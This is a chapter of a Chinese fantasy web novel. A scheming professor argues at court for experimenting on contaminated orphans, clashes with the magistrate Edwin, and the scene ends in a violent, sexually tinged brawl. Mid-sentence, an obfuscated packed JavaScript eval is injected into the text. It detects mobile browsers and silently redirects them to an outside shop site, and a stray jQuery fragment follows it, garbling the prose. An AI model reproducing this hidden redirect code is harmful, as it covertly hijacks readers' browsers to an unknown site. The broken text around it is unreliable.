祁妄的话吓到大家了,除了厄律,大家都捂着胸口,一边受惊地画着十字、祈求“圣母原谅”。
“教授,你知道你在做什么吗!”
有人跳出来控诉祁妄:
“污染会让人失去理智、逐渐疯癫,最终变成一个不人不鬼的怪物!成年人尚且扛不住污染,何况孩子!”
“就是啊,污染是会传染的,要是扩散到整个宅邸,不仅是您,连周边的居民也会被殃及。”
“私藏污染等同于叛国,还不快把孤儿交出来,这样我们还能替你求情,让陛下免你一死!”
贵族们你一言我一语地声讨祁妄,宴会顿时变成了菜市场,吵闹无比。
厄律脸上的笑意逐渐消失,不满的情绪全写在脸上。
这时,一个青年贵族扯了扯祁妄的衣角,低声道:
“陛下自登基就在讨伐‘污秽之父’的异教徒,任何沾边的人都被诛杀全族,你先前怎么开玩笑都可以,但这是陛下的底线!”
“别笑了,赶紧服软啊!求陛下宽恕你!”
然而,祁妄笑着摆摆手,示意青年贵族别紧张。
“陛下,祁尤不会交出这帮孤儿。”
祁妄笑得更张扬了:
“相反,我还要养着他们,直到污染的疾病逐渐显形。”
青年贵族吓得脸色苍白,一个字都说不出来了。
然而,祁妄根本不慌,还拍了两声掌,示意全体目光向他看齐:
“请来位聪明人回答我,一直以来,所有被污染的祭品都是怎么处理的?”
青年贵族结结巴巴地回答:
“都、都会被送去隔离,待污染发作时关进单人牢房,然后疯癫到死。”
祁妄点头:
“所以目前为止,没有任何人试图接触过污染,也不知道怎么解决污染,对吗?”
青年贵族愣了愣:
“的确如此。可是只要被污染者死亡,污染停止传播,就等于解决了。”
祁妄打了个响指:
“那我要问,如果有一天,一个十几万人口的城邦爆发了大规模污染,你们还能挨个抓起来隔离吗?”
这话引起了不少贵族的思考,大家像是被点拨了思绪一般,纷纷挠起下巴,思考祁妄话语的可行性。
祁妄摇摇头:
“答案是不可能,我们做不到将所有污染者隔离。就连现在,谁敢保证全帝国的所有污染者、一个不漏都被关进了牢里?”
厄律沉着脸打断祁妄:
“所以你想表达什么?”
“陛下,我想说,污秽之父的信徒就像不断繁衍的脏老鼠,杀不光的。”
祁妄躬身:
“我想为陛下找到根除污染的方法,至少要找到能够制衡污染的方式。”
其他贵族们面面相觑:
“那教授要怎么做呢?”
祁妄回答:
“我会严格限制这帮孤儿的出行权限,每天记录他们的健康状态。”
“并召集帝国的精英医者、法师、以及神职人员,定期给孤儿们做检查、在他们身上做实验。直到找到清除污染的方法。”
有人问:“教授说的实验具体是指什么?”
祁妄:“抽血、切片、驱魔、试药……任何可以操作的临床手段。”
周围又是一阵窃窃私语,这回,大家的观点就各不相同了,就连厄律都微微颔首,认真思考起祁妄的提议。
“那个……我有问题。”
青年贵族小心翼翼地举起手:
“教授似乎,没考虑到伦理问题啊。”
“我们真的有权力,将一帮孤儿当作实验品吗?他们不是小白鼠,是活生生的人。”
许多人赞同地点点头,这正是大多数人顾虑的问题。
然而,祁妄却说出了不可思议的回答:
“当祭品被污染的那一刻,他们就已经不是人类了。”
“非人类哪来的人权?哪怕放着不管,最终也只是在牢房里等死。”
“反正横竖都是死,干嘛不拿来做实验,为其他健康的人铺路呢?”
又是一通大逆不道的发言,青年贵族噎了一下,想反驳又不知从何驳起。
论到这里,虽然厄律什么也没说,但他脸上的阴霾已经褪去不少,甚至又有闲心去捏茱莉雪白的肩膀。
就连刚才还在议论诸位贵族,这回都被祁妄说服了一大半。
祁妄稍稍放心下来,他知道,得到皇帝的允诺,就差临门一脚:
“如果陛下认为这做法行得通,那么……”
“我反对。”
忽然,人群里冒出来一个有力的、冷漠的声音。
祁妄拧眉望去,却见反对他的不是其他庸俗的贵族,而是埃德文。
只见埃德文缓缓从人群中走出来,与祁妄并肩站在一起,却没有看祁妄一眼,目光全程盯着厄律:
“陛下,教授的提议太过自大,我无法赞同。”
厄律扬扬下巴,示意埃德文说下去。
埃德文不卑不亢:
“研究污染样本这件事,本身没有问题,但不应该由教授私人进行。”
“请陛下做主,把这些孤儿移交到律法监管所,在我的监管下,严格按照司法程序推进研究!”
祁妄挑眉,当即反驳回去:
“孤儿是我带回来的,凭什么交给你?”
埃德文哼了一声,依旧不看祁妄:
“你只是个教授,而我手下有官方警卫兵,更能给孩子们提供保障。”
祁妄:“啧,你要是想分一杯羹,我跟你合作就是了……”
埃德文想都不想:
“反对,你保护不了这些孩子,必须全权交由我处理。”
“可以你来找医生,我来策划……”
“反对。”
“或者我负责实验,每一个环节给你把关……”
“反对。”
“我……”
“反对。”
反对、反对、反对……后面无论祁妄说什么,埃德文就只是闭着眼说这两个字,无论祁妄抛出怎样的诱惑,始终油盐不进。
两人之间的火药味越来越浓,争到后面,祁妄的耐心被耗尽,他“砰”地将酒瓶扔到一边,跟埃德文爆了!
祁妄上前一步,狠狠瞪向埃德文:
“你有病吗?!大家都同意得好好的,你非要跳出来反对!我惹你了?!”
“看看你的样子,浑身酒气、玩世不恭,哪里还像个贵族!”
埃德文这回终于看祁妄了,但是是骂回去的:
“那个温文尔雅的教授呢?什么时候你开始让酒精驾驶你的大脑了?”
“你现在就像一个喝高的跳梁小丑,从一开始就在诡辩,抛弃逻辑,全程煽动……我真为你感到耻辱,祁尤。”
祁妄不可置信地瞪着埃德文,拳头越攥越紧。
他怎么敢辱骂自己是小丑?!还拿他跟祁尤做比较?!
祁妄强忍住跟埃德文干架的冲动,干脆不理他了,对着王座上的厄律道:
“那听陛下的吧,陛下说孤儿归谁就归谁。”
这个皮球还是踢到了厄律脚边,厄律倚在王座里,神情露出淡淡的无奈。
他不是个喜欢处理政务的皇帝,每当遇到这种二选一的决定,厄律都不想轻易拍板,恨不得祁妄下去跟埃德文开个私人讨论会,争个三天三夜,达成协议了再回来向他汇报。
厄律叹了口气,指节撑着太阳穴,懒懒地宣布:
“那就,来场比赛吧。”
“祁尤、埃德文卿,我给你们各自1个月的时间,前往首都以外的污染地区,剿灭污秽异教徒。”
“谁干得更好、获得的善名越多,孤儿就归谁。”
埃德文诧异地瞪大双眼,刚想说怎么能这样,皇帝你睁开眼看清楚,我的提议才是最完美的。
“遵命,我的陛下。”
然而祁妄不给埃德文挣扎的机会,笑着领旨了。
厄律看了眼墙上的挂钟,发现已经下午两点了,顿时打了个哈欠:
“没别的事,就散了吧。”
说罢,厄律一把抱起茱莉,跟她交换了一个深吻,二人腻歪着走下王座,直接退朝了。
只留下一屋子呆呆的贵族,在原地面面相觑。
【叮——皇帝的疑虑已清除,主线任务完成。】
【奖励:教会声望值上升,教主、信徒战力增强。】
【下次展现教主之力时,您会爆发出比第一次更强大的引导之力。】
【叮——新主线任务发布。】
【任务:完成与埃德文的竞赛,并获得胜利。】
“……”
脑海里的系统结算声叮叮响,听得祁妄很烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874647|212343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
躁。
他就是奔着说服厄律来的,前面铺垫了那么多,结果埃德文跳出来毁了一切,现在还多了个什么狗屁竞赛……烦!烦躁至极!
想到这里,祁妄抄起酒瓶又开始喝,结果被埃德文一巴掌拍掉了酒瓶。
“你要把自己喝成胃穿孔吗?!”
埃德文咬牙切齿:
“我真不理解,你怎么会变成这个样子!”
“议会都结束了,你还要烦我!”
祁妄向埃德文咆哮:
“你知不知道我为今天做了多少准备!你这个混蛋!我他妈恨死你了!去死吧!”
话音未落,“啪”的一声,祁妄耳边呼过来一阵风。
先是一股香香的、薰衣草洗衣液的香气钻进鼻腔,紧接着,脸颊上传来一股麻麻的痛感,当祁妄反应过来的时候,他的脸已经被扇偏到了一边。
埃德文喘着气,扇过去的巴掌还悬在空中。
他不可置信地瞪着祁妄,嘴唇颤抖着斥责对方:
“你怎么能……怎么能这样骂我!”
祁妄的瞳孔猛地缩了缩,他先是转过眼神,用舌头顶了下酥麻的口腔壁,然后才扶着脖子转过脑袋,用一个阴沉恐怖的眼神盯着埃德文。
这一巴掌根本都不疼,但是声音清脆响亮,全宴厅的人都听到了。
比起被打疼,祁妄更觉得自己被伤了面子,而面子对他而言,比天还大。
所以下一秒,祁妄的拳头就砸在了埃德文的腹部上,对方发出一声惨叫,抓着祁妄一起倒在了地上。
真要打起来,埃德文完全是被祁妄碾压,因为他太瘦了,全程只能被祁妄骑在身下挨揍。
而祁妄呢,他先是抽出腰带,将埃德文的双手绑在头颈,一手掐住埃德文的脖子,另一手掐住了对方的腰。
“祁尤!”
埃德文大惊失色,他没想到祁妄跟他来真的:
“你什么意思,你要杀了我吗?!”
然而祁妄阴森地呵呵低笑:
“埃德文执政官,你很喜欢穿紧身衣嘛。”
是的,因为太瘦,埃德文很少能找到适合自己的衣服,大多数时候会选择穿检察会统一发的长裙,还得把腰改小一圈。
他身上的肉不足以裹住肋骨,因此总会把布料顶出一排排骨架的痕迹,很多人都半开玩笑地说过他是衣架子,不穿紧身衣根本挂不住布料。
但正是这瘦骨嶙峋的、钢板一样的身材,反而显得手长腿长,比女人还容易推倒。
祁妄舔了一下嘴唇,眼底闪过一丝兴奋。
啧,身材那么好,性格怎么那么烂呢!
“好细的腰,我一只手都能握住半边,要是像这样用力一掐……”
祁妄的手猛地用力,那不盈一握的腰肢就这么被他捏到扭曲,连肋骨都发出“咯咯”的声响!
“……您的肋骨怕是会被我活生生掰断吧!”
埃德文痛得惨叫起来,但在祁妄听起来就是悦耳的歌曲,他哈哈大笑,故意不打埃德文的脸,只照着对方的腹部虐。
祁妄只用了半成力气,没有真的把肋骨打断,仅限于让埃德文感到疼痛。
但埃德文还是扛不住,叫得惊天动地,以至于其他贵族都看不下去了,纷纷上来拉架。
一阵混乱的暴动后,两人总算是被拉开了,在分开的瞬间,埃德文又重重甩了祁妄一耳光,祁妄也不生气,笑着将血沫子啐到埃德文脸上。
埃德文快要哭了,他挣扎半天还是解不开困住双手的腰带,最后还是在别人的帮助下用剪刀剪开的。
“混蛋!混蛋!”
他气急败坏地把剪成两截的腰带砸到祁妄脸上,带着哭腔咒骂道:
“我瞎了眼才会跟你做朋友!我恨你!永远不原谅你!”
祁妄猩红着眼,将腰带送到鼻子边,深深吸了一口,随后从喉咙里挤出几声“咯咯”的阴笑:
“好香啊!”
像是受到了奇耻大辱,埃德文脸上的表情非常精彩,他指着祁妄,半天说不出一句话,想再甩他一巴掌又怕对方说自己香。
最后,埃德文落荒而逃,而祁妄也愤怒地离开了皇宫。
回到旅馆,祁妄连酒都没心情喝了,闭上眼,倒头就睡:
“妈的,这都什么事!我不玩了!”
“喂,祁尤你在听吗?”
“快出来跟我换班!”